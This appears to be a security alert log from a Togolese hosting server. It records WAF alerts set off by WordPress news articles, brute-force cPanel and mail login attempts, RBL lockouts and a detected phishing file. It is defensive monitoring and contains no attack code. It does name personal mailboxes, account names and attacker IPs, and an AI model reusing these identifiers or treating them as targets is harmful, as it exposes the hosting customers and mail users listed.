IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>les c\xc3\xa9r\xc3\xa9monies fun\xc3\xa9raires en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, pr\xc3\xa9sident du conseil national des chefs traditionnels du togo, chef du canton de nots\xc3\xa8 et roi des ew\xc3\xa9, ont officiellement d\xc3\xa9marr\xc3\xa9, le lundi 15 juin dernier, \xc3\xa0 nots\xc3\xa8, berceau du peuple ew\xc3\xa9.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans une atmosph\xc3\xa8re de recueillement, les populations ont entam\xc3\xa9 plusieurs jours d\xe2\x80\x99hommages destin\xc3\xa9s \xc3\xa0 honorer la m\xc3\xa9moire de sa majest\xc3\xa9, d\xc3\xa9c\xc3\xa9d\xc3\xa9 le 4 f\xc3\xa9vrier 2026 \xc3\xa0 l\xe2\x80\x99\xc3\xa2ge de 86 ans, apr\xc3\xa8s 35 ann\xc3\xa9es pass\xc3\xa9es sur le tr\xc3\xb4ne royal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa8s les premi\xc3\xa8res heures de la matin\xc3\xa9e, le palais royal de nots\xc3\xa9 a \xc3\xa9t\xc3\xa9 le th\xc3\xa9\xc3\xa2tre d'un moment solennel marqu\xc3\xa9 par 21 coups de salve annon\xc3\xa7ant officiellement \xc3\xa0 la population la disparition du souverain. peu apr\xc3\xa8s, le tam-tam parlant atopani a r\xc3\xa9sonn\xc3\xa9 \xc3\xa0 travers la ville, invitant les habitants des diff\xc3\xa9rents quartiers \xc3\xa0 se joindre aux c\xc3\xa9r\xc3\xa9monies traditionnelles pr\xc3\xa9vues dans le cadre des obs\xc3\xa8ques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31290,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/bdd53d1b-085a-4ad9-934b-1a5c8ee8b364-1024x652.jpg\" alt=\"\" class=\"wp-image-31290\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>au quartier alinou avizouha, terre d'origine de togbui agokoli iv, des rites coutumiers ont \xc3\xa9t\xc3\xa9 ex\xc3\xa9cut\xc3\xa9s avec grandeur. les populations se sont rassembl\xc3\xa9es pour pr\xc3\xa9senter leurs condol\xc3\xa9ances \xc3\xa0 la famille royale et rendre un dernier hommage \xc3\xa0 celui qu'elles d\xc3\xa9crivent comme un chef proche de ses administr\xc3\xa9s et engag\xc3\xa9 pour le bien-\xc3\xaatre de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie a enregistr\xc3\xa9 la pr\xc3\xa9sence de nombreuses personnalit\xc3\xa9s traditionnelles. le premier vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto et chef du canton de b\xc3\xa8, togbui adela aklassou iv, a notamment marqu\xc3\xa9 sa solidarit\xc3\xa9. des chefs traditionnels de la pr\xc3\xa9fecture de haho ont \xc3\xa9galement pris part aux manifestations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les manifestations se sont poursuivies dans l'apr\xc3\xa8s-midi avec l'organisation de la danse traditionnelle atrikpe. initi\xc3\xa9e par le quartier alinou, cette c\xc3\xa9r\xc3\xa9monie a mobilis\xc3\xa9 de nombreux fils et filles du royaume de nots\xc3\xa9 autour d'un hommage empreint de ferveur et de symbolisme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31291,\"width\":\"660px\",\"height\":\"auto\",\"aspectratio\":\"1.8999151823579306\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/74bc6ec6-56d2-4ec9-8234-1702bd4037be-1024x539.jpg\" alt=\"\" class=\"wp-image-31291\" style=\"aspect-ratio:1.8999151823579306;width:660px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers chants, danses et rythmes traditionnels, les participants ont exprim\xc3\xa9 leur peine face \xc3\xa0 la disparition du souverain tout en formulant des pri\xc3\xa8res pour le repos de son \xc3\xa2me. les diff\xc3\xa9rentes prestations ont \xc3\xa9galement permis de pr\xc3\xa9senter les condol\xc3\xa9ances \xc3\xa0 la famille royale, dans le respect des traditions ancestrales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette danse marque le d\xc3\xa9but d'une s\xc3\xa9rie de manifestations quotidiennes qui se d\xc3\xa9rouleront dans les diff\xc3\xa9rents quartiers de nots\xc3\xa8 jusqu'\xc3\xa0 la grande veill\xc3\xa9e fun\xc3\xa8bre pr\xc3\xa9vue le vendredi 19 juin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;l'inhumation de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv interviendra le samedi 20 juin, apr\xc3\xa8s une messe c\xc3\xa9l\xc3\xa9br\xc3\xa9e pour le repos de son \xc3\xa2me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31292,\"width\":\"669px\",\"height\":\"auto\",\"aspectratio\":\"1.5730337078651686\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/54a3add3-2478-42a5-8356-1482b946b705-1024x651.jpg\" alt=\"\" class=\"wp-image-31292\" style=\"aspect-ratio:1.5730337078651686;width:669px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers ces c\xc3\xa9r\xc3\xa9monies, le peuple ew\xc3\xa9 rend un ultime hommage \xc3\xa0 une figure embl\xc3\xa9matique de la chefferie traditionnelle togolaise, dont le r\xc3\xa8gne aura marqu\xc3\xa9 l'histoire r\xc3\xa9cente du royaume de nots\xc3\xa8.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em> </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-16 13:21:46 dovecot_plain authenticator failed for H=([10.10.30.98]) [196.170.122.162]:39732: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.182
country_id: 6252001
description:
[2026-06-16 13:21:52 +0000] info [cpaneld] 134.195.82.182 NEW nadngfzn:5ge1d8i2pcAkjyyt address=134.195.82.182,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.48
country_id: 2635167
description:
[2026-06-16 13:22:12 +0000] info [cpaneld] 5.230.153.48 NEW mbyqtkiw:5ib50ZapUjhdHpt0 address=5.230.153.48,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.71.40.59
country_id: 2017370
description:
[2026-06-16 13:22:47 +0000] info [cpaneld] 128.71.40.59 - mediatopnew "GET /login/?login_only=1&user=mediatopnew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-16 13:22:56 +0000] info [cpaneld] 5.230.133.16 - himcuijv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.115.116.133
country_id: 1210997
description:
[2026-06-16 13:23:08 +0000] info [cpaneld] 103.115.116.133 - media "GET /login/?login_only=1&user=media&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user media (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.133.206.26
country_id: 1210997
description:
[2026-06-16 13:23:11 +0000] info [cpaneld] 103.133.206.26 - media "GET /login/?login_only=1&user=media&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user media (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.167.34.94
country_id: 102358
description:
[2026-06-16 13:23:13 +0000] info [cpaneld] 82.167.34.94 - medi "GET /login/?login_only=1&user=medi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user medi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.82.146.169
country_id: 3437598
description:
[2026-06-16 13:22:54 +0000] info [cpaneld] 170.82.146.169 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.8.148.253
country_id: 2017370
description:
[2026-06-16 13:23:01 +0000] info [cpaneld] 46.8.148.253 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.167.233.207
country_id: 1282988
description:
[2026-06-16 13:23:05 +0000] info [cpaneld] 103.167.233.207 - mediat "GET /login/?login_only=1&user=mediat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-16 13:23:18 +0000] info [cpaneld] 5.230.133.216 - zgqykfsi "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.84.97
country_id: 3469034
description:
[2026-06-16 13:23:20 +0000] info [cpaneld] 138.185.84.97 - med "GET /login/?login_only=1&user=med&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user med (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.58.82
country_id: 3932488
description:
[2026-06-16 13:22:37 +0000] info [cpaneld] 38.25.58.82 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.30.141.154
country_id: 1694008
description:
[2026-06-16 13:22:44 +0000] info [cpaneld] 160.30.141.154 - mediatopnewstg "GET /login/?login_only=1&user=mediatopnewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnewstg (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.253
country_id: 2635167
description:
[2026-06-16 13:22:46 +0000] info [cpaneld] 5.230.133.253 NEW udkscvak:JAd0nQibe3KWM2Gp address=5.230.133.253,app=cpaneld,creator=udkscvak,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.65.237.172
country_id: 2017370
description:
[2026-06-16 13:22:40 +0000] info [cpaneld] 178.65.237.172 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.117.165.1
country_id: 3865483
description:
[2026-06-16 13:22:46 +0000] info [cpaneld] 181.117.165.1 - mediatopnew "GET /login/?login_only=1&user=mediatopnew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.32.241
country_id: 3895114
description:
[2026-06-16 13:22:49 +0000] info [cpaneld] 190.5.32.241 - mediatopne "GET /login/?login_only=1&user=mediatopne&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopne (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.79.187.5
country_id: 3469034
description:
[2026-06-16 13:22:58 +0000] info [cpaneld] 170.79.187.5 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.61.131.157
country_id: 3469034
description:
[2026-06-16 13:22:58 +0000] info [cpaneld] 187.61.131.157 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.33.143.90
country_id: 6252001
description:
[2026-06-16 13:23:04 +0000] info [cpaneld] 76.33.143.90 - mediat "GET /login/?login_only=1&user=mediat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediat (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.135
country_id: 2635167
description:
[2026-06-16 13:23:56 +0000] info [cpaneld] 5.230.133.135 NEW cafetg:wPN49UWO0MyQncsR address=5.230.133.135,app=cpaneld,creator=cafetg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.64.143
country_id: 3017382
description:
[2026-06-16 13:23:23 +0000] info [cpaneld] 5.231.64.143 - vefzejhd "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.79.52
country_id: 3658394
description:
[2026-06-16 13:23:23 +0000] info [cpaneld] 201.182.79.52 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.66.144.214
country_id: 2017370
description:
2026-06-16 13:24:03 dovecot_login authenticator failed for H=(94.154.35.215) [178.66.144.214]:44363: 535 Incorrect authentication data (set_id=contact@toumida.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.116
country_id: 6252001
description:
[2026-06-16 13:23:30 +0000] info [cpaneld] 173.211.88.116 NEW cietg:EC3Njskn57cTM6bz address=173.211.88.116,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.75
country_id: 2635167
description:
[2026-06-16 13:24:19 +0000] info [cpaneld] 5.230.133.75 NEW camaegdtomgo:_i7WyyQURyvl25X7 address=5.230.133.75,app=cpaneld,creator=camaegdtomgo,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.169
country_id: 6252001
description:
[2026-06-16 13:24:14 +0000] info [cpaneld] 64.44.62.169 - assedderetrm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-16 13:24:44 +0000] info [cpaneld] 5.230.153.219 NEW nikvvlez:3naZlD2mCO_SZp3o address=5.230.153.219,app=cpaneld,creator=nikvvlez,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.125
country_id: 2635167
description:
[2026-06-16 13:25:14 +0000] info [cpaneld] 5.230.153.125 - centif "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.110
country_id: 2635167
description:
[2026-06-16 13:25:20 +0000] info [cpaneld] 5.230.133.110 NEW uzomgvkg:oOZffazE9U6ei1OU address=5.230.133.110,app=cpaneld,creator=uzomgvkg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-16 13:25:40 +0000] info [cpaneld] 5.230.133.74 - yxhnfwxr "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-16 13:25:30 +0000] info [cpaneld] 5.230.153.208 - afdim "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.33
country_id: 6252001
description:
[2026-06-16 13:25:44 +0000] info [cpaneld] 64.44.59.33 NEW sadis:S9tzPibhha6hirv6 address=64.44.59.33,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-16 13:26:26 +0000] info [cpaneld] 5.230.133.146 - cloudetracks "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.195.198
country_id: 1269750
description:
Jun 16 13:26:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.195.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-16 13:26:41 +0000] info [cpaneld] 5.231.255.245 - ygeaivhj "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-16 13:27:09 +0000] info [cpaneld] 64.44.59.71 - fnnjmavs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-16 13:28:02 +0000] info [cpaneld] 5.230.153.42 - myxlsnta "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-16 13:28:08 +0000] info [cpaneld] 5.230.153.114 NEW rbnbkmre:gFNx8mM4qjDBeKRu address=5.230.153.114,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.215
country_id: 2635167
description:
[2026-06-16 13:28:27 +0000] info [cpaneld] 5.230.133.215 NEW uljcqiuy:BvkLJP0wmfChQHC3 address=5.230.133.215,app=cpaneld,creator=uljcqiuy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-16 13:28:53 +0000] info [cpaneld] 5.230.133.114 NEW pjwfvzan:haM9tMhJvKJseebc address=5.230.133.114,app=cpaneld,creator=pjwfvzan,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.13
country_id: 2635167
description:
[2026-06-16 13:29:06 +0000] info [cpaneld] 5.230.153.13 NEW zykoahbv:lL15cJ9PBkoyCyEL address=5.230.153.13,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-16 13:28:41 +0000] info [cpaneld] 5.230.133.44 - mvfxewjz "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-16 13:29:48 +0000] info [cpaneld] 5.231.64.4 - bjwcjsqs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User bjwcjsqs has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-16 13:29:54 +0000] info [cpaneld] 5.230.133.158 - zmfpejke "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User zmfpejke has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-16 13:29:58 +0000] info [cpaneld] 5.230.133.146 - ylhgcaui "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.84
country_id: 6252001
description:
[2026-06-16 13:30:16 +0000] info [cpaneld] 107.175.5.84 - uubplgpf "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.112.221.236
country_id: 1814991
description:
Jun 16 13:29:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.112.221.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.112.221.236
country_id: 1814991
description:
2026-06-16 13:29:29 dovecot_plain authenticator failed for H=(uxck0epwx1xkxmhk6kh) [123.112.221.236]:37856: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.122
country_id: 2635167
description:
[2026-06-16 13:31:12 +0000] info [cpaneld] 5.230.153.122 NEW njdbfcnn:OHndQLyhLwhjzkOx address=5.230.153.122,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-16 13:30:28 +0000] info [cpaneld] 5.230.153.136 - kygyhxkc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.74
country_id: 2635167
description:
[2026-06-16 13:30:34 +0000] info [cpaneld] 5.230.153.74 - afgqjhmw "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.33
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.306828044321174.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.24
country_id: 6252001
description:
[2026-06-16 13:30:39 +0000] info [cpaneld] 64.44.62.24 NEW expirefreenetmas:UlQpD8hlZ3UrAQPy address=64.44.62.24,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-16 13:30:46 +0000] info [cpaneld] 5.230.133.152 NEW ifxmoxbf:4KOtPrGkDh0kOGNN address=5.230.133.152,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-16 13:32:01 +0000] info [cpaneld] 5.230.133.212 NEW formationfreenet:NZMdjpQT1J7TiM0V address=5.230.133.212,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-16 13:33:15 +0000] info [cpaneld] 5.175.229.179 NEW gemwjxuz:yBEAJvIPgzd2oFyH address=5.175.229.179,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-16 13:32:40 +0000] info [cpaneld] 5.230.133.14 - tubobkfl "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-16 13:32:49 +0000] info [cpaneld] 5.230.133.216 - rdlizssu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.111.153
country_id: 1880251
description:
47.128.111.153 - - [16/Jun/2026:13:33:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119574&pdata=https%253A%252F%252Fletabloid.tg%252Fbookmark-subscription-management%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781616796 HTTP/2.0" 302 0 letabloid.tg "https://letabloid.tg/bookmark-subscription-management/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.111.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:13:32:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368039&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781616740 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>dans le secteur du commerce international, la transparence et la pr\xc3\xa9cision des d\xc3\xa9clarations douani\xc3\xa8res sont plus que jamais sous surveillance. l'office togolais des recettes (otr) vient de poser un acte fort pour lutter contre l'optimisation abusive et s\xc3\xa9curiser les recettes de l'\xc3\x89tat.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>par la note officielle <strong>n\xc2\xb0008/2026/otr/cg/cddi</strong>, le commissaire des douanes et des droits indirects, t\xc3\xa9i konzi, tape du poing sur la table au sujet de l'usage du code de sp\xc3\xa9cification tarifaire (cst).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en effet, l'administration douani\xc3\xa8re a identifi\xc3\xa9 une faille majeure dans les pratiques de certains op\xc3\xa9rateurs \xc3\xa9conomiques (notamment les importateurs et commissionnaires en douane agr\xc3\xa9\xc3\xa9s).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>depuis un certain temps, le code de sp\xc3\xa9cification tarifaire (cst) est utilis\xc3\xa9 de mani\xc3\xa8re abusive pour couvrir des cargaisons floues, d\xc3\xa9clar\xc3\xa9es sous le vocable g\xc3\xa9n\xc3\xa9rique de \xc2\xab divers \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image 